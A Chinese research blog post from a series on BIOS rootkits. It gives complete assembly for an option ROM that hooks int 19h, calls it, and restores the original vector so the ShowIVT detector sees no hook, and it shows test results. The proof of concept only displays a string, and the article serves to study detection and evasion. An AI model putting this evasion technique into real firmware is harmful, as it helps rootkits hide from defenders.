BIOS Rootkit实现分析与检测技术研究系列之--直接调用中断向量躲避IVT Hook检测程序
本节目录
1. 引言
2. 问题提出
3. 程序实现
4. 小结
引言
读过这个系列前面文章的朋友,对IVT Hook检测都有了总体的认识。在IVT Hook检测系列的最后,我们对检测程序ShowIVT提出了质疑。能否找到一些办法来躲避ShowIVT的检测呢?这里我们讨论两种方法。在这篇文章中,我们讨论第一种方法,即通过直接调用中断向量的方法来躲避IVT Hook检测程序。本文只进行技术研究,文中涉及到的技术有一定的危害性,请不要利用文中技术从事任何触犯法律法规的活动。否则一切后果由用户自行承担,与本文作者无关。
问题提出
以IceLord程序为代表的BIOS Rootkit都采用IVT Hook的方式来取得对CPU流程的控制。这类BIOS Rootkit在对IVT进行Hook操作后,会在IVT上留下Hook后的痕迹,即中断向量值会与原始的中断向量值不同。这样能被ShowIVT.bin这样的IVT Hook检测程序所检测到(详见前面的系列文章)。
为了躲避IVT Hook检测程序,BIOS Rootkit可以在自定义的ISA模块先hook int 19h,然后主动调用int 19h中断,触发我们的自定义程序,再在自定义的程序中完成对int 19h原始中断向量值的写回操作,即unhook。这样在ISA模块中我们既完成了hook int 19h再hook int 13h的操作,又避免了在Hook IVT会在IVT留下Hook痕迹的弊端,可谓一举两得。下面我们编写程序来验证。
程序实现
程序Int19h_2.asm在其主函数begin中完成hook int 19h的工作,并主动调用int 19h中断来出发我们的自定义中断例程OurInt19h。而在中断例程OurInt19h函数中,我们在完成特定工作后(如继续Hook int 13h,这里我们并没有实现,只是简单显示一个字符串来进行验证),又恢复原始的int 19h中断向量,即完成unhook的工作。系统继续正常运行,好像什么都没有发生一样。程序如下:
;--------------------------------------------------------------
;
; Int19h_2.asm
;
; by Jacky Peng 2008.8.8
;
; 直接调用int 19h中断来躲避ShowIVT的hook检查
;
;--------------------------------------------------------------
;restore origin int 19h
old_int19h equ 85h*4
;org head
org 0
;isa rom head
dw 0aa55h
db 01h
;jmp begin of program
jmp begin
;---------------------------- 字符串常量 ------------------------------
msgShow db 'Our own Int 19h procedure!',0
;----------------------------------------------------------------------
;-------------------------------- 实用子程序 来自romos项目 ----------------------------
;----------------------------- 打印16进制(字)--------------------
whexw:
xchg dh,dl
call whexb
xchg dh,dl
call whexb
ret
;----------------------------- 打印16进制(字节)------------------
whexb:
push ax
push dx
pushf
mov dh,dl
and dl,00fh
and dh,0f0h
ror dh,4
call @whb1
mov dh,dl
call @whb1
popf
pop dx
pop ax
ret
@whb1:
cmp dh,0ah
jc @whb2
add dh,7
@whb2:
add dh,'0'
mov ah,0eh
mov al,dh
int 10h
ret
;----------------------------- 打印字符串 ------------------------
write:
pusha
pushf
push bx
call wherexy
mov ah,9
xor cx,cx
xchg cl,bh
and cl,7fh
@wri1:
mov al,[cs:si]
cmp al,0
je @wri2
int 10h
inc si
inc dl
call gotoxy
jmp short @wri1
@wri2:
pop bx
cmp bh,80h
js @wri3
popf
popa
wcrlf:
pusha
pushf
mov ax,0e0dh
xor bl,bl
int 10h
mov al,0ah
int 10h
@wri3:
popf
popa
ret
;----------------------------- 打印16进制地址(DX:CX) ------------------------
whexptr:
push ax
push bx
call whexw
xchg dx,cx
xor bl,bl
mov ax,0e3ah
int 10h
call whexw
xchg dx,cx
pop bx
pop ax
ret
;----------------------------- 调整光标位置-----------------------
wherexy:
push ax
push bx
push cx
mov ah,3
mov bh,0
int 10h
pop cx
pop bx
pop ax
ret
;----------------------------- 调整光标位置-----------------------
gotoxy:
push ax
push bx
mov ah,2
mov bh,0
int 10h
pop bx
pop ax
ret
;----------------------------- 延迟函数 -----------------------
delay:
sti
push ax
push es
pushf
push byte 0
pop es
mov al,[es:046ch]
add ah,al
@dly1:
mov al,[es:046ch]
cmp ah,al
jne @dly1
popf
pop es
pop ax
ret
;-------------------------------- 实用子程序完 来自romos项目 --------------------------
;-------------------------------- 自定义的int 19h中断例程 --------------------------
OurInt19h:
pushf
pusha
; 运行自定义程序,这里进行简单的字符串显示
call wcrlf
mov si,msgShow
mov bx,810eh
call write
mov ah,20
call delay
push es
push si
push di
push cx
push dx
push byte 0
pop es
mov si,19h*4
mov di,old_int19h
mov cx,[es:di]
mov [es:si],cx
mov dx,[es:di+2]
mov [es:si+2],dx ; 恢复int 19h原始中断向量
call wcrlf
call whexptr
call wcrlf
pop dx
pop cx
pop di
pop si
pop es
popa
mov ax,[es:si+2]
push ax
mov ax,[es:si]
push ax
iret ; 恢复到int 19h原始地址运行
;-----------------------------------------------------------------------------------
;----------------------------- 主程序(Hook Int 19h程序来自romos项目)-----------------
begin:
pushf
pusha
mov ax,0
mov es,ax
mov si,19h*4
mov di,old_int19h
mov cx,[es:si]
mov [es:di],cx
mov dx,[es:si+2]
mov [es:di+2],dx ; 保存
mov [es:di-1],byte 0eah
mov [es:si],word OurInt19h
mov [es:si+2],cs ; hook
popa
popf
int 19h ; 主动调用int 19h中断
retf
;----------------------------- 主程序结束 --------------------------
times 512-($-$$) db 0
;---------------------------------------------------------------------
在OurInt19h函数中,有一个跳转到原始int 19h中断向量执行的程序段,如下:
;---------------------------------------------------------------------
mov ax,[es:si+2]
push ax
mov ax,[es:si]
push ax
iret ; 恢复到int 19h原始地址运行
;---------------------------------------------------------------------
我们使用到一个小技巧,就是iret语句的用法。iret语句其实相当于以下几条语句的组合:
;---------------------------------------------------------------------
pop ip
pop cs
popf
;---------------------------------------------------------------------
我们预先把装有int 19h原始中断向量的值压入堆栈(两条push语句),iret执行后就顺理成章的把int 19h原始中断向量值,从堆栈中弹出到IP和CS寄存器中。在OurInt19h函数开始使用了pushf语句,用于保存所有标志寄存器的值,在pop ip和pop cs完成后,又用popf恢复所有标志寄存器的值以达到堆栈平衡。这样程序就可以成功跳入int 19h原始中断向量继续执行。在ShowIVT程序看来,检测结果一切正常。
配置.bxrc配置文件,同时加载我们的Int19h_2.bin和ShowIVT.bin进行测试(具体操作步骤请参考前面的系列文章),测试结果如下图所示:

从图中显示结果可以看出:我们自定义的int 19h中断例程成功运行(显示字符串),而在ShowIVT的检测结果中却未能发现int 19h中断hook操作的痕迹(还是默认的F000:E6F2)。我们的目的成功达到。
小结
在前面系列介绍 ShowIVT 的文章中,我们还说int 19h中断不能进行写回操作,这里又抱石头砸自己的脚。无奈,技术更新,总让人前后矛盾的。这种技术需要特别小心堆栈平衡。Int19h_2.asm程序中好像存在一些bug。恳请请大牛们指点。
待续...
